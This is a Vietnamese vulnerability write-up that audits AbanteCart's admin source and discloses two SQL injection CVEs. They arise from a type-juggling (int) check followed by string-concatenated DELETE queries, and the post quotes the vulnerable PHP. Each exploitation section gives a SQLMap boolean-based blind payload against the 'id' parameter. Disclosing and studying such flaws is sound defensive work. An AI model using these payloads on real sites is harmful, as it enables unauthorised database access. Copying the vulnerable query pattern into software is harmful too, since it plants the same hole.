Giới thiệu
Mình xin tự giới thiệu mình là Trung aka chigger . Mình là thành viên trong gia đình CookieHanHoan.
Mình sẽ tiếp tục với hành trình spam nhiều CVE nhất có thể.
Thông tin lỗ hổng
Bài viết này sẽ sử dụng phương pháp phân tích Whitebox, còn được gọi là Source Code Audit để phân tích source code và tìm ra lỗ hổng.
CVE-2024-50801:
Điểm số: 6.0
Mức độ nguy hiểm: MEDIUM
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L
CVE-2024-50802:
Điểm số: 6.0
Mức độ nguy hiểm: MEDIUM
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L
Mục tiêu
AbanteCart là một nền tảng thương mại điện tử mã nguồn mở miễn phí để hỗ trợ bán lẻ trực tuyến. AbanteCart là một ứng dụng web sẵn sàng hoạt động cũng như là nền tảng đáng tin cậy để xây dựng các giải pháp thương mại điện tử tùy chỉnh.
Công nghệ sử dụng:
PHP: Ngôn ngữ lập trình phía máy chủ dùng để phát triển ứng dụng web động.
MySQL: Hệ quản trị cơ sở dữ liệu mã nguồn mở lưu trữ và quản lý dữ liệu.
JavaScript và jQuery: JavaScript tạo tương tác động; jQuery đơn giản hóa thao tác với DOM.
HTML/CSS: HTML cấu trúc nội dung, CSS tạo kiểu cho trang web.
Kiến trúc MVC: Mẫu thiết kế tách biệt logic ứng dụng, giao diện và xử lý yêu cầu.
Theo trang chủ của AbanteCart có khoảng 42.000 live sites.
Nguyên nhân gốc rễ (root-cause) gây ra lỗ hổng?
Lỗ hổng Injection, đặc biệt là SQL Injection, thường xuất phát từ việc ứng dụng không kiểm soát chặt chẽ dữ liệu đầu vào của người dùng, hay còn gọi là dữ liệu không đáng tin cậy (Untrusted Data). Điều này tạo ra một môi trường thuận lợi cho các cuộc tấn công, khi mà kẻ tấn công có thể tận dụng những lỗ hổng này để truy cập hoặc thao túng dữ liệu một cách trái phép.
Trong nền tảng AbanteCart, nhiều câu truy vấn SQL được viết thủ công dưới dạng raw query, làm tăng khả năng xuất hiện các lỗ hổng bảo mật. Sự thiếu sót trong việc thực hiện kiểm tra và xác thực dữ liệu đầu vào không chỉ tiềm ẩn nguy cơ mà còn đe dọa đến tính toàn vẹn và bảo mật của hệ thống.
Type Juggling
<?php
if (!(int) $id) {
return false;
}
return true;
?>
Mình vừa phát hiện một vấn đề thú vị trong đoạn code này. Điều đáng chú ý là khi thực hiện việc chuyển đổi từ chuỗi sang số nguyên, giá trị của $id
sẽ được xử lý như sau: nếu $id = "abc"
, thì (int)$id
sẽ bằng 0. Tuy nhiên, nếu $id = "123abc"
, thì (int)$id
sẽ trả về 123.
Do đó, với đoạn code trên, nếu giá trị của $id
là "123abc"
, nó có thể vượt qua kiểm tra và trả về giá trị true, có thể tạo ra lỗ hổng bảo mật.
CVE-2024-50801
Tại file public_html/admin/model/catalog/collection.php
, mình nhận thấy có sự xuất hiện của hàm delete()
, trong đó thực hiện truy vấn bằng cách sử dụng cú pháp nối chuỗi trong code PHP. Mặc dù developer đã ép kiểu biến $id
thành kiểu số nguyên, nhưng như mình đã đề cập về vấn đề type juggling ở trên, điều này vẫn có thể tạo ra lỗ hổng SQL Injection.
class ModelCatalogCollection extends Model
{
...
public function delete($id)
{
if (!(int) $id) {
return false;
}
$db = Registry::getInstance()->get('db');
$colTableName = $db->table('collections');
$query = 'DELETE FROM '.$colTableName.' WHERE id='.$id;
$db->query($query);
return true;
}
...
Tại file public_html/admin/controller/responses/listing_grid/collections.php
, mình nhận thấy sự xuất hiện của hàm update()
, trong đó gọi hàm delete()
được đề cập ở trên. Tuy nhiên, tham số $id
được truyền vào hàm này lại chưa trải qua bước xác thực từ người dùng. Do đó, hàm update()
tiềm ẩn lỗ hổng SQL Injection, cho phép kẻ tấn công có khả năng khai thác dữ liệu trái phép.
class ControllerResponsesListingGridCollections extends AController
{
...
public function update()
{
//init controller data
$this->extensions->hk_InitData($this, __FUNCTION__);
$this->loadModel('catalog/collection');
if ($this->request->is_POST()) {
$post = $this->request->post;
if ($post['oper'] === 'save') {
if (!is_array($post['status'])) {
return;
}
foreach ((array) $post['status'] as $key => $value) {
$this->model_catalog_collection->update(
$key,
[
'status' => (int) $value,
]
);
}
}
if ($post['oper'] === 'del' && isset($post['id'])) {
$ids = array_unique(explode(',', $post['id']));
foreach ($ids as $id) {
$this->model_catalog_collection->delete($id);
}
}
}
//update controller data
$this->extensions->hk_UpdateData($this, __FUNCTION__);
}
...
}
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
Mình thử với kí tự đặc biệt 1'(lợi dụng type juggling). Quan sát thấy server trả về thông báo Status code 400 Application Error. Vậy ở đây ở tham số id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: oper=del&id=2 RLIKE (SELECT (CASE WHEN (2470=2470) THEN 2 ELSE 0x28 END))
CVE-2024-50802
Tương tự như lỗ hổng CVE đã đề cập ở trên, file public_html/admin/model/design/email_template.php
cũng gặp phải vấn đề type juggling. Trong file này, mình nhận thấy sự xuất hiện của hàm delete()
, trong đó thực hiện truy vấn bằng cú pháp nối chuỗi trong code PHP. Điều này có thể dẫn đến lỗ hổng SQL Injection, tạo cơ hội cho kẻ tấn công khai thác hệ thống.
class ModelDesignEmailTemplate extends Model
{
...
public function delete($id)
{
if (!(int) $id) {
return false;
}
$etTableName = $this->db->table('email_templates');
$query = 'DELETE FROM '.$etTableName.' WHERE id='.$id;
$this->db->query($query);
return true;
}
...
}
Tại file public_html/admin/controller/responses/listing_grid/email_templates.php
, mình nhận thấy sự xuất hiện của hàm update()
, trong đó gọi hàm delete()
được đề cập ở trên. Tuy nhiên, tham số $id
được truyền vào hàm này lại chưa trải qua bước xác thực từ người dùng. Do đó, hàm update()
tiềm ẩn lỗ hổng SQL Injection, cho phép kẻ tấn công có khả năng khai thác dữ liệu trái phép.
class ControllerResponsesListingGridEmailTemplates extends AController
{
...
public function update()
{
//init controller data
$this->extensions->hk_InitData($this, __FUNCTION__);
/** @var ModelDesignEmailTemplate $mdl */
$mdl = $this->loadModel('design/email_template');
if ($this->request->is_POST()) {
$post = $this->request->post;
if ($post['oper'] === 'save') {
if (!is_array($post['status'])) {
return;
}
foreach ((array) $post['status'] as $key => $value) {
$mdl->update($key, ['status' => (int) $value]);
}
}
if ($post['oper'] === 'del' && isset($post['id'])) {
$ids = array_unique(explode(',', $post['id']));
foreach ($ids as $id) {
$mdl->delete($id);
}
}
}
...
}
Cách khai thác
Việc thiếu kiểm tra dữ liệu đầu vào khi sử dụng raw query tiềm ẩn nguy cơ SQL Injection. Kẻ tấn công có thể lợi dụng ký tự đặc biệt để phá vỡ cú pháp truy vấn và thực thi mã độc hại.
Mình thử với kí tự đặc biệt 1' (lợi dụng type juggling). Quan sát thấy server trả về thông báo Status code 400 Application Error. Vậy ở đây ở tham số id
tồn tại lỗ hổng SQL Injection.
Mình sử dụng công cụ như SQLMap (công cụ tự động hóa quá trình khai thác lỗ hổng SQL Injection). SQLMap có thể tạo ra mã khai thác tùy chỉnh dựa trên phân tích tự động của ứng dụng mục tiêu và cơ sở dữ liệu liên quan.
Mã khai thác:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: oper=del&id=2 RLIKE (SELECT (CASE WHEN (2470=2470) THEN 2 ELSE 0x28 END))